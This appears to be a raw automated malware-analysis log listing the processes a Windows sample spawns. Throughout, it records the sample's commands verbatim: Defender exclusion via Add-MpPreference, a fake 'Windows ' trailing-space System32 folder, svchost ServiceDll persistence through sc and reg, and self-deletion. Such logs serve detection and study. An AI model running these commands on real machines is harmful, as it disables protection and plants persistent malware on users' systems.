Source: C:\Windows\System32\Z369335.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c timeout /t 10 /nobreak && del "C:\Windows\System32\Z369335.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 10 /nobreak
Source: C:\Windows\System32\Z753638.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c timeout /t 10 /nobreak && del "C:\Windows\System32\Z753638.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 10 /nobreak
Source: C:\Windows\System32\usvcinsta64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Source: C:\Windows\System32\usvcinsta64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'"
Source: C:\Windows\System32\usvcinsta64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c mkdir "\\?\C:\Windows \System32"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\usvcinsta64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c start "" "C:\Windows \System32\printui.exe"
Source: C:\Windows\System32\usvcinsta64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c timeout /t 10 /nobreak && del "C:\Windows\System32\usvcinsta64.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows \System32\printui.exe "C:\Windows \System32\printui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 10 /nobreak
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows \System32\printui.exe "C:\Windows \System32\printui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows \System32\printui.exe "C:\Windows \System32\printui.exe"
Source: C:\Windows \System32\printui.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath '%SystemDrive%\Windows \System32'; Add-MpPreference -ExclusionPath '%SystemDrive%\Windows\System32';"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'; Add-MpPreference -ExclusionPath 'C:\Windows\System32';"
Source: C:\Windows \System32\printui.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c sc create x841418 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto && reg add HKLM\SYSTEM\CurrentControlSet\services\x841418\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\System32\x841418.dat" /f && sc start x841418
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc create x841418 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\printui.dll",#1	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c powershell -command "Add-MpPreference -ExclusionPath 'C:\Windows \System32';"	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c powershell -command "Add-MpPreference -ExclusionPath 'C:\Windows\System32';"	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc.exe create Z295699 binPath="C:\Windows\System32\svchost.exe -k DcomLaunch" type= share start= auto	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\services\Z295699\Parameters /v ServiceDll /t REG_EXPAND_SZ /d C:\Windows\System32\Z295699.dat /f	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc.exe start Z295699	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c start /B /MIN cmd /C "timeout /t 10 /nobreak && rmdir /S /Q "\\?\C:\Windows " && exit"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\printui.dll",#1	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c powershell -command "Add-MpPreference -ExclusionPath 'C:\Windows \System32';"	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c powershell -command "Add-MpPreference -ExclusionPath 'C:\Windows\System32';"	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc.exe create Z422697 binPath="C:\Windows\System32\svchost.exe -k DcomLaunch" type= share start= auto	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\services\Z422697\Parameters /v ServiceDll /t REG_EXPAND_SZ /d C:\Windows\System32\Z422697.dat /f	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc.exe start Z422697	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c start /B /MIN cmd /C "timeout /t 10 /nobreak && rmdir /S /Q "\\?\C:\Windows " && exit"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "Add-MpPreference -ExclusionPath 'C:\Windows \System32';"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "Add-MpPreference -ExclusionPath 'C:\Windows \System32';"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "Add-MpPreference -ExclusionPath 'C:\Windows\System32';"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "Add-MpPreference -ExclusionPath 'C:\Windows\System32';"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc.exe create Z295699 binPath="C:\Windows\System32\svchost.exe -k DcomLaunch" type= share start= auto
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc.exe create Z422697 binPath="C:\Windows\System32\svchost.exe -k DcomLaunch" type= share start= auto
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add HKLM\SYSTEM\CurrentControlSet\services\Z295699\Parameters /v ServiceDll /t REG_EXPAND_SZ /d C:\Windows\System32\Z295699.dat /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add HKLM\SYSTEM\CurrentControlSet\services\Z422697\Parameters /v ServiceDll /t REG_EXPAND_SZ /d C:\Windows\System32\Z422697.dat /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc.exe start Z295699
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\winsvcf\Z369335.exe "C:\Windows\System32\winsvcf\Z369335.exe"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc.exe start Z422697
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\winsvcf\Z753638.exe "C:\Windows\System32\winsvcf\Z753638.exe"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /C "timeout /t 10 /nobreak && rmdir /S /Q "\\?\C:\Windows " && exit"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 10 /nobreak
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /C "timeout /t 10 /nobreak && rmdir /S /Q "\\?\C:\Windows " && exit"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 10 /nobreak
Source: C:\Windows\System32\winsvcf\Z369335.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Source: C:\Windows\System32\winsvcf\Z369335.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c timeout /t 5 /nobreak && move "C:\Windows\System32\winsvcf\Z369335.exe" "C:\Windows\System32" && start "" "C:\Windows\System32\Z369335.exe"
Source: C:\Windows\System32\winsvcf\Z753638.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Source: C:\Windows\System32\winsvcf\Z753638.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c timeout /t 5 /nobreak && move "C:\Windows\System32\winsvcf\Z753638.exe" "C:\Windows\System32" && start "" "C:\Windows\System32\Z753638.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5 /nobreak
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\Z753638.exe "C:\Windows\System32\Z753638.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5 /nobreak
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\Z369335.exe "C:\Windows\System32\Z369335.exe"
Source: C:\Windows\System32\Z753638.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Source: C:\Windows\System32\Z753638.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c sc stop Z295699
Source: C:\Windows\System32\Z753638.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c sc delete Z295699
Source: C:\Windows\System32\Z753638.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c sc stop Z422697
Source: C:\Windows\System32\Z753638.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c sc delete Z422697
Source: C:\Windows\System32\Z753638.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c start "" "C:\Windows\System32\usvcinsta64.exe"
Source: C:\Windows\System32\Z753638.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c timeout /t 10 /nobreak && del "C:\Windows\System32\Z753638.exe"
Source: C:\Windows\System32\Z369335.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Source: C:\Windows\System32\Z369335.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c sc stop Z295699
Source: C:\Windows\System32\Z369335.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c sc delete Z295699
Source: C:\Windows\System32\Z369335.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c sc stop Z422697
Source: C:\Windows\System32\Z369335.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c sc delete Z422697
Source: C:\Windows\System32\Z369335.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c start "" "C:\Windows\System32\usvcinsta64.exe"
Source: C:\Windows\System32\Z369335.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c timeout /t 10 /nobreak && del "C:\Windows\System32\Z369335.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop Z295699
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop Z295699
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc delete Z295699
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc delete Z295699
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop Z422697
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop Z422697
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc delete Z422697
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc delete Z422697
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\usvcinsta64.exe "C:\Windows\System32\usvcinsta64.exe"
Source: C:\Windows\System32\usvcinsta64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Source: C:\Windows\System32\usvcinsta64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'"
Source: C:\Windows\System32\usvcinsta64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c mkdir "\\?\C:\Windows \System32"
Source: C:\Windows\System32\usvcinsta64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c start "" "C:\Windows \System32\printui.exe"
Source: C:\Windows\System32\usvcinsta64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c timeout /t 10 /nobreak && del "C:\Windows\System32\usvcinsta64.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 10 /nobreak
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 10 /nobreak
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows \System32\printui.exe "C:\Windows \System32\printui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows \System32\printui.exe "C:\Windows \System32\printui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 10 /nobreak
Source: C:\Windows \System32\printui.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath '%SystemDrive%\Windows \System32'; Add-MpPreference -ExclusionPath '%SystemDrive%\Windows\System32';"
Source: C:\Windows \System32\printui.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c sc create x841418 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto && reg add HKLM\SYSTEM\CurrentControlSet\services\x841418\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\System32\x841418.dat" /f && sc start x841418
Source: C:\Windows \System32\printui.exe	Process created: unknown unknown
Source: C:\Windows \System32\printui.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'; Add-MpPreference -ExclusionPath 'C:\Windows\System32';"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc create x841418 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown

Source: C:\Windows\System32\loaddll64.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
